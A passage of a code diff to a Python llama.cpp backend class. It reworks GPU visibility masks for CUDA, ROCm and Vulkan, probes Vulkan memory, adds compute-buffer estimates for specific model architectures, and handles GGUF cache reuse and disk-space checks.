+        would be dead there while the cleared HIP mask stops selecting."""
+        env["CUDA_VISIBLE_DEVICES"] = pinned
+        try:
+            import torch as _torch
+
+            # torch.version.hip is set on ROCm, None on CUDA; AMD SDK wheels may
+            # leave it unset but encode "rocm" in __version__ (mirrors detect_hardware).
+            if (
+                getattr(_torch.version, "hip", None) is not None
+                or "rocm" in getattr(_torch, "__version__", "").lower()
+            ):
+                if prefer_rocr and pinned != "-1" and sys.platform != "win32":
+                    env["ROCR_VISIBLE_DEVICES"] = pinned
+                    env.pop("HIP_VISIBLE_DEVICES", None)
+                    # ROCR re-indexes the visible agents from 0, and with HIP
+                    # cleared HIP honours CUDA_VISIBLE_DEVICES -- so it must carry
+                    # the post-ROCR ordinals (0..N-1), not the physical ids, else a
+                    # non-zero pick points out of range and HIP sees 0 devices (the
+                    # same stacking the default path avoids by clearing ROCR).
+                    env["CUDA_VISIBLE_DEVICES"] = ",".join(
+                        str(i) for i in range(len(pinned.split(",")))
+                    )
+                else:
+                    env["HIP_VISIBLE_DEVICES"] = pinned
+                    env.pop("ROCR_VISIBLE_DEVICES", None)
+        except Exception as e:
+            logger.debug("Failed to set ROCm visibility env vars for child: %s", e)
+
+    @staticmethod
+    def _pin_visible_gpu_order_for_split(env: dict) -> None:
+        """Pin the child's GPU enumeration to the picker's order for a manual
+        ``--tensor-split`` across the whole visible set. CUDA's default
+        FASTEST_FIRST enumeration applies the shares to the wrong cards on
+        heterogeneous hosts (#5025), and CUDA_DEVICE_ORDER only fixes the
+        numbering base: an inherited numeric visibility mask ALSO defines
+        enumeration order, so a reordered parent mask (CUDA_VISIBLE_DEVICES=3,1)
+        would still hand the shares to the wrong cards. The UI built the split
+        positionally over get_backend_visible_gpu_info's device list (ascending
+        physical via nvidia-smi, inherited mask order on the torch fallback), so
+        re-emit the same set in that report order -- not an assumed ascending
+        sort. The visible set itself never changes. No mask, an empty mask, or a
+        UUID/MIG mask (which resolves to None) is left alone -- the multi-GPU
+        controls are hidden for the latter."""
+        env["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
+        inherited = LlamaCppBackend._resolve_visible_physical_ids()
+        if not inherited:
+            return
+        order = None
+        try:
+            from utils.hardware import get_backend_visible_gpu_info
+            info = get_backend_visible_gpu_info()
+            if info.get("available") and info.get("index_kind") == "physical":
+                reported = [d["index"] for d in info.get("devices", [])]
+                if sorted(reported) == sorted(inherited):
+                    order = reported
+        except Exception as e:
+            logger.debug("Could not read reported GPU order for split pin: %s", e)
+        if order is None:
+            order = sorted(inherited)
+        # Re-emit at the layer that produced the mapping. A parent masked only
+        # via ROCR_VISIBLE_DEVICES hides agents at the driver layer, and the
+        # default HIP re-emission clears that mask -- HSA then enumerates every
+        # agent again and can segfault at startup on an unsupported GPU the
+        # parent was hiding (the crash prefer_rocr exists to avoid). Linux-only,
+        # mirroring _resolve_visible_physical_ids: on Windows a stray ROCR var
+        # is dead and was not the mapping's source.
+        prefer_rocr = (
+            sys.platform != "win32"
+            and env.get("HIP_VISIBLE_DEVICES") is None
+            and env.get("ROCR_VISIBLE_DEVICES") is not None
+        )
+        LlamaCppBackend._emit_child_gpu_visibility(
+            env, ",".join(str(i) for i in order), prefer_rocr = prefer_rocr
+        )
+
     @staticmethod
     def _amd_apu_wants_unified_memory(gpu_indices = None) -> bool:
         """True only for AMD unified-memory APUs (gfx1150/gfx1151), where
@@ -2220,11 +3208,42 @@ class LlamaCppBackend:
         return True
 
     @staticmethod
-    def _get_gpu_free_memory() -> list[tuple[int, int]]:
+    def _visible_devices_mask(env_name: str) -> Optional[set[int]]:
+        """Physical indices a ``*_VISIBLE_DEVICES`` mask permits, or None if unset.
+
+        ``if x.strip()`` filters trailing-comma masks ("0,1,"); an empty mask
+        ("") yields an empty set (all devices hidden), distinct from an unset
+        var (None, no mask). Used by the nvidia-smi probe.
+        """
+        raw = os.environ.get(env_name)
+        if raw is None:
+            return None
+        try:
+            return set(int(x.strip()) for x in raw.split(",") if x.strip())
+        except ValueError:
+            return None
+
+    @staticmethod
+    def _vulkan_pin_args(gpu_indices: Optional[Iterable[int]]) -> list[str]:
+        """``--device Vulkan<i>,...`` to pin a Vulkan launch to selected GPUs.
+
+        The indices are ggml's compact Vulkan ordinals (as _get_gpu_free_memory
+        reports and the registry names ``Vulkan<i>``). Pin by that name, NOT via
+        GGML_VK_VISIBLE_DEVICES: ggml parses that env var in the raw
+        vkEnumeratePhysicalDevices space (before dropping CPU/llvmpipe devices
+        and deduplicating ICDs), so a compact ordinal there could select a
+        different physical device or the CPU rasterizer.
+        """
+        if not gpu_indices:
+            return []
+        return ["--device", ",".join(f"Vulkan{i}" for i in gpu_indices)]
+
+    @staticmethod
+    def _get_gpu_free_memory(binary: Optional[str] = None) -> list[tuple[int, int]]:
         """Query free memory per GPU. Returns ``(gpu_index, free_mib)`` sorted by
         index; empty if no supported GPU is reachable. Thin wrapper over
         ``_get_gpu_memory`` for callers that only need free VRAM."""
-        return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()]
+        return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory(binary)]
 
     @staticmethod
     def _apple_metal_memory_budget_bytes() -> int:
@@ -2255,7 +3274,7 @@ class LlamaCppBackend:
         return int(rec_bytes * _APPLE_UNIFIED_MEMORY_FRACTION)
 
     @staticmethod
-    def _get_gpu_memory() -> list[tuple[int, int, int]]:
+    def _get_gpu_memory(binary: Optional[str] = None) -> list[tuple[int, int, int]]:
         """Query free AND total memory per GPU.
 
         Order:
@@ -2267,9 +3286,18 @@ class LlamaCppBackend:
              probe returned [] on AMD) and NVIDIA hosts missing
              ``nvidia-smi`` from PATH.
 
+        On a Vulkan build the ggml Vulkan probe is authoritative, so the indices
+        are ggml's compact Vulkan ordinals (the space the pin selects via
+        ``--device Vulkan<i>``). It reports ``total`` for discrete cards and 0
+        for an iGPU (shared RAM) so the fit falls back to free*frac there.
+        Otherwise nvidia-smi / torch cover NVIDIA + AMD ROCm.
+
         Returns (gpu_index, free_mib, total_mib) sorted by index; empty if no
-        supported GPU is reachable. ``total`` lets the fit reserve absolute headroom.
+        supported GPU is reachable.
         """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if LlamaCppBackend._is_vulkan_backend(binary):
+            return LlamaCppBackend._get_gpu_free_memory_vulkan(binary)
         # ── NVIDIA via nvidia-smi ────────────────────────────────────
         try:
             result = subprocess.run(
@@ -2285,16 +3313,7 @@ class LlamaCppBackend:
                 **_windows_hidden_subprocess_kwargs(),
             )
             if result.returncode == 0:
-                allowed: Optional[set[int]] = None
-                cvd = os.environ.get("CUDA_VISIBLE_DEVICES")
-                if cvd is not None:
-                    try:
-                        # `if x.strip()` filters trailing-comma masks ("0,1,").
-                        # Empty mask (CVD="") yields an empty set -> all GPUs
-                        # filtered out, per codebase convention.
-                        allowed = set(int(x.strip()) for x in cvd.split(",") if x.strip())
-                    except ValueError:
-                        pass
+                allowed = LlamaCppBackend._visible_devices_mask("CUDA_VISIBLE_DEVICES")
                 gpus: list[tuple[int, int, int]] = []
                 for line in result.stdout.strip().splitlines():
                     parts = [p.strip() for p in line.split(",")]
@@ -2359,6 +3378,91 @@ class LlamaCppBackend:
             logger.debug(f"torch GPU probe failed: {e}")
             return []
 
+    @staticmethod
+    def _get_gpu_free_memory_vulkan(binary: Optional[str] = None) -> list[tuple[int, int, int]]:
+        """Query free (and total) VRAM per device via the bundled ggml Vulkan backend.
+
+        Loads ``libggml-vulkan`` in a short-lived subprocess (no Vulkan instance
+        in this process) and returns (device_index, free_mib, total_mib) sorted
+        by index. The index is ggml's compact Vulkan ordinal -- the one the
+        registry names ``Vulkan<index>`` and load_model pins with ``--device``,
+        NOT the raw ``GGML_VK_VISIBLE_DEVICES`` space. A user-set
+        ``GGML_VK_VISIBLE_DEVICES`` is honored by ggml (passed through), so the
+        list already reflects it. iGPUs leave a host-RAM margin (see
+        ``_apply_igpu_host_reserve_mib``) and report total 0; discrete cards pass
+        their real total through. [] when no Vulkan build or device is reachable.
+        """
+        binary = binary or LlamaCppBackend._find_llama_server_binary()
+        if not binary:
+            return []
+        binary_dir = _llama_lib_dir(binary)
+        if not (binary_dir / _vulkan_lib_filename()).is_file():
+            return []
+
+        env = child_env_without_native_path_secret()
+        # Pass any inherited GGML_VK_VISIBLE_DEVICES through to ggml unchanged so
+        # the probe enumerates the same device list the launch will, named
+        # Vulkan0..N in the compact order reported here and pinned by that name
+        # via --device -- probe, mask, and pin stay in one index space. Do NOT
+        # filter the mask in Python: ggml parses the env var in raw
+        # vkEnumeratePhysicalDevices space while this probe reports the compact
+        # post-filter ordinal, so a Python filter would compare mismatched spaces.
+        if sys.platform != "win32":
+            # Let the loader resolve sibling ggml libs next to the binary.
+            existing_ld = env.get("LD_LIBRARY_PATH", "")
+            env["LD_LIBRARY_PATH"] = (
+                f"{binary_dir}:{existing_ld}" if existing_ld else str(binary_dir)
+            )
+        probe_script = Path(__file__).with_name("_vulkan_probe.py")
+        try:
+            result = subprocess.run(
+                [sys.executable, str(probe_script), str(binary_dir)],
+                capture_output = True,
+                text = True,
+                timeout = 15,
+                env = env,
+                **_windows_hidden_subprocess_kwargs(),
+            )
+            if result.returncode != 0:
+                logger.debug(
+                    f"vulkan GPU probe exited {result.returncode}: {result.stderr.strip()}"
+                )
+                return []
+        except Exception as e:
+            logger.debug(f"vulkan GPU probe failed: {e}")
+            return []
+
+        gpus: list[tuple[int, int, int]] = []
+        for line in result.stdout.strip().splitlines():
+            parts = line.split("\t")
+            if len(parts) != 4:
+                continue
+            try:
+                idx = int(parts[0])
+                free_mib = int(parts[1]) // (1024 * 1024)
+                is_igpu = parts[2] == "1"
+                # iGPU "total" is shared RAM, not a VRAM budget -> keep 0 so the
+                # fit stays on free*frac (the host reserve below is its
+                # headroom); a discrete card passes its real total through.
+                total_mib = 0 if is_igpu else int(parts[3]) // (1024 * 1024)
+            except ValueError:
+                continue
+            capped = _apply_igpu_host_reserve_mib(free_mib, is_igpu)
+            if capped < free_mib:
+                logger.info(
+                    f"Vulkan device VK{idx} is an integrated GPU sharing system "
+                    f"RAM; reserving {free_mib - capped}MiB host headroom "
+                    f"({free_mib}->{capped}MiB usable)"
+                )
+            gpus.append((idx, capped, total_mib))
+        gpus.sort(key = lambda g: g[0])
+        if gpus:
+            logger.info(
+                "Vulkan GPU memory detected: "
+                + ", ".join(f"VK{idx}={free}MiB" for idx, free, _total in gpus)
+            )
+        return gpus
+
     @staticmethod
     def _available_system_memory_mib() -> Optional[int]:
         """Available system RAM in MiB (psutil, then /proc/meminfo), or None if
@@ -2467,7 +3571,7 @@ class LlamaCppBackend:
                 return
             prev = curr
 
-    # Free-VRAM fraction at which Studio pins the GPU directly instead of
+    # Free-VRAM fraction at which Unsloth pins the GPU directly instead of
     # deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in
     # the fit, so this only guards fragmentation + multi-GPU per-device CUDA context
     # (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106).
@@ -2488,6 +3592,20 @@ class LlamaCppBackend:
     # aborts a --split-mode tensor load, so it's dropped for the tensor attempt.
     _TENSOR_PARALLEL_KV_TYPES = frozenset({"f16", "bf16", "f32"})
 
+    # Main-model placement settings that Manual mode owns. They must not leak
+    # from Studio's parent environment into llama-server and silently override
+    # the command assembled from the current request. Draft-model placement is
+    # intentionally separate and remains available to speculative decoding.
+    _MANUAL_PLACEMENT_ENV_VARS = (
+        "LLAMA_ARG_CPU_MOE",
+        "LLAMA_ARG_N_CPU_MOE",
+        "LLAMA_ARG_N_GPU_LAYERS",
+        "LLAMA_ARG_TENSOR_SPLIT",
+        "LLAMA_ARG_FIT",
+        "LLAMA_ARG_FIT_TARGET",
+        "LLAMA_ARG_FIT_CTX",
+    )
+
     # (binary, mtime, model) that aborted on --split-mode tensor this process (#6415
     # geometry limit, e.g. MQA n_head_kv=1). Model-keyed so one model's abort doesn't
     # skip tensor for others; tensor is tried by default, recorded only on a real abort.
@@ -2587,7 +3705,8 @@ class LlamaCppBackend:
     def _llama_server_env_for_binary(binary: str) -> dict[str, str]:
         """Build a subprocess env that lets llama-server resolve native libs."""
         env = child_env_without_native_path_secret()
-        binary_dir = str(Path(binary).parent)
+        # _llama_lib_dir resolves the llama-server symlink to the real build/bin.
+        binary_dir = str(_llama_lib_dir(binary))
 
         if sys.platform == "win32":
             # Ordering: see _build_windows_path_dirs. #5106.
@@ -2617,6 +3736,9 @@ class LlamaCppBackend:
             lib_dirs.extend(_wsl_system_rocm_lib_dirs())
             if lib_dirs:
                 env.setdefault("HSA_ENABLE_DXG_DETECTION", "1")
+            # Native Linux AMD: system ROCm libs before the bundle's HIP runtime,
+            # which can be incompatible with the host amdkfd driver.
+            lib_dirs.extend(_native_linux_system_rocm_lib_dirs(binary_dir))
             lib_dirs.append(binary_dir)
             _arch = platform.machine()  # x86_64, aarch64, etc.
 
@@ -2651,6 +3773,12 @@ class LlamaCppBackend:
 
         return env
 
+    @classmethod
+    def _clear_manual_placement_env(cls, env: dict[str, str]) -> None:
+        """Remove inherited main-model placement owned by Manual mode."""
+        for name in cls._MANUAL_PLACEMENT_ENV_VARS:
+            env.pop(name, None)
+
     @staticmethod
     def _select_gpus(
         model_size_bytes: int,
@@ -3025,7 +4153,7 @@ class LlamaCppBackend:
             return total if total > 0 else None
         return draft_kv + weights + target_ctx_copy
 
-    _DEFAULT_N_UBATCH = 512  # llama.cpp --ubatch default; Studio does not override it
+    _DEFAULT_N_UBATCH = 512  # llama.cpp --ubatch default; Unsloth does not override it
     _COMPUTE_BUFFER_SAFETY = 1.15  # upper-bound margin on the compute-buffer estimate
     # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682).
     _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024  # CUDA ctx + cuBLAS workspace (~330 MiB)
@@ -3048,6 +4176,25 @@ class LlamaCppBackend:
     _CTX_COMPUTE_BYTES_PER_EMBD = 2.25  # quantized KV, regular attention (dequant scratch)
     _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25  # quantized KV, MLA (compressed attn: measured 0.94x)
     _CTX_COMPUTE_F16_MASK_SAFETY = 1.5  # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok)
+    # DeepSeek-V4 (deepseek4): its lightning indexer + sparse attention reserve a large
+    # context-scaling compute buffer the rates above miss (present even with an f16
+    # cache). Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k -> ~65.5 GiB at 1M. Without
+    # it auto-fit commits the full 1M train context, OOMs the reserve, and spills to CPU.
+    _DSV4_CTX_COMPUTE_FLAT_BYTES = 2 * 1024**3  # ctx-independent indexer scratch
+    _DSV4_CTX_COMPUTE_BYTES_PER_TOK = 72000  # per token at ub=512 (~72 GiB at 1M)
+
+    # Inkling (inkling): with the reserve fix in the bundled llama.cpp (full-cache
+    # reserve context reports the whole cache as position-contiguous, so the
+    # worst-case graph is the banded flash path instead of the dense-bias
+    # fallback), the ctx-linear compute term is just the banded KQ-mask cont:
+    # measured on UD-IQ1_S (ub=512) 64K -> 1M total-VRAM slope of 50.6 KiB/tok,
+    # of which 45,056 B/tok is KV -> ~5.6 KiB/tok compute. 8192 adds ~1.5x
+    # headroom. (Pre-fix builds reserved the dense fallback at ~402 KiB/tok and
+    # could not load large contexts at all.)
+    _INKLING_CTX_COMPUTE_BYTES_PER_TOK = 8192  # per token at ub=512
+    # Dense relative-bias fallback rate (quantized KV cache disables the banded
+    # path): measured 402.5 GiB reserve at 1M ctx pre-fix, ~402 KiB per token.
+    _INKLING_CTX_COMPUTE_DENSE_BYTES_PER_TOK = 402470  # per token at ub=512
 
     def _estimate_compute_buffer_bytes(
         self,
@@ -3097,6 +4244,25 @@ class LlamaCppBackend:
         if n_embd <= 0 or n_ctx <= 0:
             return 0
         ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH))
+        if getattr(self, "_architecture", None) == "deepseek4":
+            # DSV4 indexer/CSA buffer (see constants): flat + linear, ub-scaled. Fires
+            # for any KV type -- the indexer scratch is present even with an f16 cache.
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            return int(
+                self._DSV4_CTX_COMPUTE_FLAT_BYTES
+                + self._DSV4_CTX_COMPUTE_BYTES_PER_TOK * n_ctx * ub_scale
+            )
+        if getattr(self, "_architecture", None) == "inkling":
+            ub_scale = ub / self._DEFAULT_N_UBATCH
+            # The fused banded path requires an f32/f16/bf16 KV cache. A quantized
+            # cache forces the dense relative-bias fallback, whose compute buffer is
+            # [n_kv, ub, n_head] f32 (~402 KiB per context token at ub=512); size the
+            # fit for that so a q8_0 cache gets a small honest context instead of an
+            # unloadable one that crash-loops the server.
+            if cache_type_kv and _kv_bytes_per_elem(cache_type_kv) < 2.0:
+                return int(self._INKLING_CTX_COMPUTE_DENSE_BYTES_PER_TOK * n_ctx * ub_scale)
+            # Banded flash path (see constants): linear, ub-scaled.
+            return int(self._INKLING_CTX_COMPUTE_BYTES_PER_TOK * n_ctx * ub_scale)
         if _kv_bytes_per_elem(cache_type_kv) < 2.0:
             # Quantized cache: the dequant scratch dominates and scales with n_embd.
             # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on
@@ -3127,7 +4293,7 @@ class LlamaCppBackend:
         n_ubatch: Optional[int] = None,
     ) -> tuple[Optional[list[int]], bool, int]:
         """Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits,
-        so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers
+        so Unsloth keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers
         to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the
         slot-independent footprint (weights + soft overhead + MTP + context-linear compute,
         minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer
@@ -3271,13 +4437,13 @@ class LlamaCppBackend:
         hf_repo: str,
         free_bytes: int,
         hf_token: Optional[str] = None,
-    ) -> Optional[tuple[str, int]]:
+    ) -> Optional[tuple[str, int, list[str]]]:
         """Find the smallest GGUF variant (including all shards) that fits.
 
         Groups split shards by variant prefix and sums their sizes (e.g.
         UD-Q4_K_XL with 9 shards of 50 GB each = 450 GB total).
 
-        Returns (first_shard_filename, total_size_bytes) or None.
+        Returns (first_shard_filename, total_size_bytes, extra_shards) or None.
         """
         try:
             from huggingface_hub import get_paths_info, list_repo_files
@@ -3313,9 +4479,13 @@ class LlamaCppBackend:
 
             # Smallest that fits
             variant_sizes.sort(key = lambda x: x[1])
-            for first_file, total_size, _ in variant_sizes:
+            for first_file, total_size, shard_files in variant_sizes:
                 if total_size > 0 and total_size <= free_bytes:
-                    return first_file, total_size
+                    return (
+                        first_file,
+                        total_size,
+                        [path for path in sorted(shard_files) if path != first_file],
+                    )
 
             return None
         except Exception:
@@ -3429,6 +4599,8 @@ class LlamaCppBackend:
         self._supports_preserve_thinking = False
         self._supports_tools = False
         self._n_layers = None
+        self._n_experts = None
+        self._leading_dense_block_count = None
         self._n_kv_heads = None
         self._n_kv_heads_by_layer = None
         self._n_heads = None
@@ -3518,6 +4690,8 @@ class LlamaCppBackend:
                                     arch_keys = {
                                         f"{arch}.context_length": "context_length",
                                         f"{arch}.block_count": "n_layers",
+                                        f"{arch}.expert_count": "n_experts",
+                                        f"{arch}.leading_dense_block_count": "leading_dense_block_count",
                                         f"{arch}.attention.head_count_kv": "n_kv_heads",
                                         f"{arch}.attention.head_count": "n_heads",
                                         f"{arch}.embedding_length": "embedding_length",
@@ -3599,7 +4773,7 @@ class LlamaCppBackend:
                 ]
 
             # Otherwise hand off to the resolver (cache / bootstrap / transformers / HF). Diffusion models
-            # skip it: they do not use Studio's SWA pattern and the resolver can raise for them.
+            # skip it: they do not use Unsloth's SWA pattern and the resolver can raise for them.
             if (
                 self._sliding_window_pattern is None
                 and self._sliding_window
@@ -3706,6 +4880,28 @@ class LlamaCppBackend:
 
         return None
 
+    @staticmethod
+    def _diffusion_gpu_arg(gpu_ids: Optional[List[int]], *, cpu_only: bool = False) -> str:
+        """Device token passed to the diffusion visual-server child.
+
+        The visual engine replaces its child's CUDA visibility mask with this
+        token, so an unpinned load must carry forward the first token from the
+        parent's mask rather than turning a parent-relative ordinal into a new
+        physical selection.
+        """
+        if gpu_ids:
+            return str(sorted(gpu_ids)[0])
+        if cpu_only:
+            return ""
+        if "DG_GPU" in os.environ:
+            return os.environ["DG_GPU"]
+        parent_mask = os.environ.get("CUDA_VISIBLE_DEVICES")
+        if parent_mask:
+            first = next((token.strip() for token in parent_mask.split(",") if token.strip()), "")
+            if first and first != "-1":
+                return first
+        return "0"
+
     def _start_diffusion_server(
         self,
         *,
@@ -3716,10 +4912,11 @@ class LlamaCppBackend:
         model_identifier: str,
         n_ctx: int,
         extra_args: Optional[List[str]],
+        gpu_ids: Optional[List[int]] = None,
     ) -> bool:
         """Launch the OpenAI-compat diffusion shim (which drives the on-device
         visual decoder) and wait for health. Presents the same /v1 + /health
-        interface as llama-server, so the rest of Studio is unchanged.
+        interface as llama-server, so the rest of Unsloth is unchanged.
         """
         assets = self._find_diffusion_assets()
         if assets is None:
@@ -3737,7 +4934,15 @@ class LlamaCppBackend:
         # Auto-size (0): the visual server probes the largest context that fits this GPU's VRAM
         # (capped at the training context). An explicit in-range n_ctx overrides it.
         maxtok = n_ctx if (n_ctx and 0 < n_ctx <= 65536) else 0
-        gpu = os.environ.get("DG_GPU", "0")
+        # No visible CUDA GPU: a genuine CPU host, or a GPU host masked with
+        # CUDA_VISIBLE_DEVICES="" to force CPU serving. Keep the visual-server child
+        # CPU-masked (empty --gpu) so the shim does not re-expose GPU 0 via its default.
+        cpu_only = self._effective_gpu_count() == 0
+        # Honor the GPU picker first: the diffusion runner takes a single device,
+        # so use the lowest selected GPU (matches the sorted set recorded below, so
+        # the device used == the echoed gpu_ids[0]). With no pick, fall back to the
+        # CPU-only mask, else DG_GPU / 0.
+        gpu = self._diffusion_gpu_arg(gpu_ids, cpu_only = cpu_only)
 
         cmd = list(shim_cmd) + [
             "--gguf",
@@ -3757,8 +4962,19 @@ class LlamaCppBackend:
         # refuses to load unless UNSLOTH_IS_PRESENT is set (normally by `import
         # unsloth`). The shim never imports unsloth, so set it here as unsloth does.
         env["UNSLOTH_IS_PRESENT"] = "1"
+        # The shim's `import unsloth_zoo` aborts in get_device_type() ("needs a GPU")
+        # when no accelerator is visible, even though it only drives the CPU
+        # visual-server binary and does no torch GPU work. Allow the CPU device so the
+        # runner starts; the visual server still runs on the CPU llama.cpp build.
+        if cpu_only:
+            env.setdefault("UNSLOTH_ALLOW_CPU", "1")
         env["DG_VISUAL_BIN"] = visual_bin
         env["DG_GPU"] = gpu
+        if gpu_ids:
+            # The visual server remasks via CUDA_VISIBLE_DEVICES=<gpu>; pin PCI
+            # order (as the llama-server path does) so the picked physical id maps
+            # to the GPU the picker showed, not CUDA's default fastest-first order.
+            env["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"
         # The file-override shim imports its sibling visual_engine; put its dir on PYTHONPATH.
         # (The zoo-package shim is an installed module and needs no PYTHONPATH change.)
         if extra_pythonpath:
@@ -3781,7 +4997,7 @@ class LlamaCppBackend:
             logger.debug(f"Could not open diffusion runner log file: {e}")
 
         # The shim (and its visual server) die with this backend process, so a
-        # Studio crash/restart never orphans a GPU process.
+        # Unsloth crash/restart never orphans a GPU process.
         self._process = subprocess.Popen(
             cmd,
             stdout = subprocess.PIPE,
@@ -3804,6 +5020,23 @@ class LlamaCppBackend:
         self._model_identifier = model_identifier
         self._cache_type_kv = None
         self._gpu_offload_active = True
+        # Diffusion doesn't use the llama.cpp GPU-memory knobs; reset them to
+        # defaults (the picked device is still recorded below) so /load, /status
+        # and reload dedup don't report a previous GGUF's manual settings.
+        self._gpu_memory_mode = "auto"
+        self._gpu_layers = -1
+        self._n_cpu_moe = 0
+        self._tensor_split = None
+        # Diffusion is never tensor-parallel; clear any state left by a prior TP
+        # chat load (load_model phase 1 only kills the process, it doesn't run
+        # the unload reset) so /status doesn't misreport TP and an identical
+        # re-Apply doesn't reload against stale tensor-parallel state.
+        self._tensor_parallel = False
+        # Record only the single device the runner actually uses (the lowest
+        # selected GPU, chosen above) -- not the whole pick. The diffusion runner
+        # is single-device, so echoing a multi-GPU list would misreport placement
+        # in /status and let a re-Apply dedup against GPUs the runner never used.
+        self._gpu_ids = [sorted(gpu_ids)[0]] if gpu_ids else None
         if hf_variant:
             self._hf_variant = hf_variant
         elif gguf_path:
@@ -3869,6 +5102,9 @@ class LlamaCppBackend:
         touching the shared one; defaults to the shared event.
         """
         cancel_event = cancel_event if cancel_event is not None else self._cancel_event
+        from utils.hf_cache_settings import get_hf_cache_paths
+
+        download_cache_dir = str(get_hf_cache_paths().hub_cache)
         try:
             import huggingface_hub  # noqa: F401 -- presence check only
         except ImportError:
@@ -3877,6 +5113,15 @@ class LlamaCppBackend:
                 "Install it with: pip install huggingface_hub"
             )
 
+        resolved_hf_repo = _resolve_repo_id_casing(hf_repo)
+        if resolved_hf_repo != hf_repo:
+            logger.info(
+                "Using cached repo_id casing '%s' for requested '%s'",
+                resolved_hf_repo,
+                hf_repo,
+            )
+            hf_repo = resolved_hf_repo
+
         # Resolve the filename from the variant
         gguf_filename = None
         gguf_extra_shards: list[str] = []
@@ -3892,34 +5137,46 @@ class LlamaCppBackend:
             except Exception as e:
                 logger.warning(f"Could not list repo files: {e}")
 
-            # Offline: resolve variant -> filename from the local HF cache.
-            # The heuristic below assumes filenames echo the repo name, which
-            # breaks for e.g. Qwen3.6-27B-MTP-GGUF (no "MTP" in file). Match
-            # against the rel path (not just basename) so subdir layouts like
-            # ``BF16/foo.gguf`` are findable.
+            # Fall back to the local cache when the repo listing is unavailable.
             if not gguf_filename:
-                try:
-                    from utils.models.model_config import _iter_hf_cache_snapshots
-                    for snap in _iter_hf_cache_snapshots(hf_repo):
-                        cached_files = _gguf_snapshot_files(snap)
-                        matches = _gguf_files_for_variant(cached_files, hf_variant)
-                        if not matches:
-                            continue
-                        gguf_filename = matches[0]
-                        gguf_extra_shards = _gguf_extra_shards(matches, gguf_filename)
-                        logger.info(
-                            "Resolved variant %s -> %s from local HF cache",
-                            hf_variant,
-                            gguf_filename,
-                        )
-                        break
-                except Exception as e:
-                    logger.debug(f"Offline cache lookup for variant failed: {e}")
+                cached_name, cached_shards = _cached_variant_resolution(hf_repo, hf_variant)
+                if cached_name:
+                    gguf_filename = cached_name
+                    gguf_extra_shards = cached_shards
+                    logger.info(
+                        "Resolved variant %s -> %s from local HF cache",
+                        hf_variant,
+                        gguf_filename,
+                    )
 
             if not gguf_filename:
                 repo_name = hf_repo.split("/")[-1].replace("-GGUF", "")
                 gguf_filename = f"{repo_name}-{hf_variant}.gguf"
 
+        # Prefer the existing model. Updates use force=True to fetch a new revision.
+        if not force:
+            if hf_variant:
+                # Resolve by variant so a newer revision's filename does not hide
+                # the complete older copy. Size-check against that older snapshot's
+                # own revision when its metadata remains available.
+                cached_main = cached_gguf_for_load(
+                    hf_repo,
+                    hf_variant,
+                    verify_sizes = True,
+                    hf_token = hf_token,
+                )
+            else:
+                candidate = _cached_complete_candidate(hf_repo, gguf_filename, gguf_extra_shards)
+                cached_main = (
+                    candidate[0]
+                    if candidate is not None
+                    and _cached_candidate_matches_revision_size(hf_repo, candidate, hf_token)
+                    else None
+                )
+            if cached_main is not None:
+                logger.info(f"Reusing cached GGUF: {cached_main}")
+                return cached_main
+
         # Check disk space; fall back to a smaller variant if needed
         all_gguf_files = [gguf_filename] + gguf_extra_shards
         try:
@@ -3934,14 +5191,32 @@ class LlamaCppBackend:
             # cold whenever free disk is below the full weight footprint,
             # even though nothing needs downloading.
             already_cached_bytes = 0
-            if not force:
+            # Count only files that can resume this download.
+            offline = _hf_env_offline()
+            # Offline split sets are reusable only when every shard shares a snapshot.
+            split_needs_refetch = bool(offline and not force and gguf_extra_shards)
+            if not force and not split_needs_refetch:
                 for p in path_infos:
                     if not p.size:
                         continue
                     try:
-                        cached_path = try_to_load_from_cache(hf_repo, p.path)
+                        cached_path = try_to_load_from_cache(
+                            hf_repo,
+                            p.path,
+                            cache_dir = download_cache_dir,
+                        )
                     except Exception:
                         cached_path = None
+                    if (
+                        not (isinstance(cached_path, str) and os.path.exists(cached_path))
+                        and offline
+                    ):
+                        cached_path = _cached_hf_snapshot_file(
+                            hf_repo,
+                            p.path,
+                            expected_size = p.size,
+                            cache_dir = download_cache_dir,
+                        )
                     if isinstance(cached_path, str) and os.path.exists(cached_path):
                         try:
                             on_disk = os.path.getsize(cached_path)
@@ -3954,12 +5229,8 @@ class LlamaCppBackend:
             total_download_bytes = max(0, total_bytes - already_cached_bytes)
 
             if total_download_bytes > 0:
-                cache_dir = os.environ.get(
-                    "HF_HUB_CACHE",
-                    str(Path.home() / ".cache" / "huggingface" / "hub"),
-                )
-                Path(cache_dir).mkdir(parents = True, exist_ok = True)
-                free_bytes = shutil.disk_usage(cache_dir).free
+                Path(download_cache_dir).mkdir(parents = True, exist_ok = True)
+                free_bytes = shutil.disk_usage(download_cache_dir).free
 
                 total_gb = total_download_bytes / (1024**3)
                 free_gb = free_bytes / (1024**3)
@@ -3977,7 +5248,7 @@ class LlamaCppBackend:
                         # surface the disk shortfall for the requested variant.
                         raise RuntimeError(
                             f"Not enough disk space to download {gguf_filename}. "
-                            f"Only {free_gb:.1f} GB free in {cache_dir}"
+                            f"Only {free_gb:.1f} GB free in {download_cache_dir}"
                         )
                     smaller = self._find_smallest_fitting_variant(
                         hf_repo,
@@ -3985,29 +5256,30 @@ class LlamaCppBackend:
                         hf_token,
                     )
                     if smaller:
-                        fallback_file, fallback_size = smaller
